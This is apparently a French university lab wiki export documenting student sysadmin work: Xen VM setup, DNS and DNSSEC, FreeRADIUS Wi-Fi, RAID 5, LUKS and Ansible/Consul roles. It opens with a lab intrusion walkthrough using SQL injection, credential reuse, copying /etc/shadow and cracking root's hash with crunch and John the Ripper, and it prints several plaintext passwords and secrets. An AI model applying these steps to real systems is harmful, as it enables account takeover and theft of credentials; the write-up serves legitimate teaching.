Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: &amp;quot;{{ item }}&amp;quot;&lt;br /&gt;
     dest: &amp;quot;/etc/consul/{{ item }}&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - config.json&lt;br /&gt;
     - web.json&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
   register: systemd&lt;br /&gt;
 &lt;br /&gt;
 - name: Deamon reload&lt;br /&gt;
   systemd:&lt;br /&gt;
     daemon_reload: true&lt;br /&gt;
   when: systemd.changed&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 2,&lt;br /&gt;
	&amp;quot;retry_join&amp;quot;: [&amp;quot;172.26.145.101&amp;quot;],&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/web.json&amp;lt;/code&amp;gt; contient : &lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;service&amp;quot;: {&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;web-bellerose&amp;quot;,&lt;br /&gt;
 		&amp;quot;tags&amp;quot;: [&amp;quot;boris&amp;quot;,&amp;quot;louis&amp;quot;,&amp;quot;web&amp;quot;],&lt;br /&gt;
 		&amp;quot;port&amp;quot;: 80&lt;br /&gt;
 	},&lt;br /&gt;
 &lt;br /&gt;
 	&amp;quot;check&amp;quot;: {&lt;br /&gt;
 		&amp;quot;id&amp;quot;: &amp;quot;webport&amp;quot;,&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;Simple HTTP GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;method&amp;quot;: &amp;quot;GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;http&amp;quot;: &amp;quot;http://172.26.145.106&amp;quot;,&lt;br /&gt;
 		&amp;quot;interval&amp;quot;: &amp;quot;10s&amp;quot;,&lt;br /&gt;
 		&amp;quot;timeout&amp;quot;: &amp;quot;1s&amp;quot;&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58011</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58011"/>
				<updated>2022-01-12T12:40:27Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Consul */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
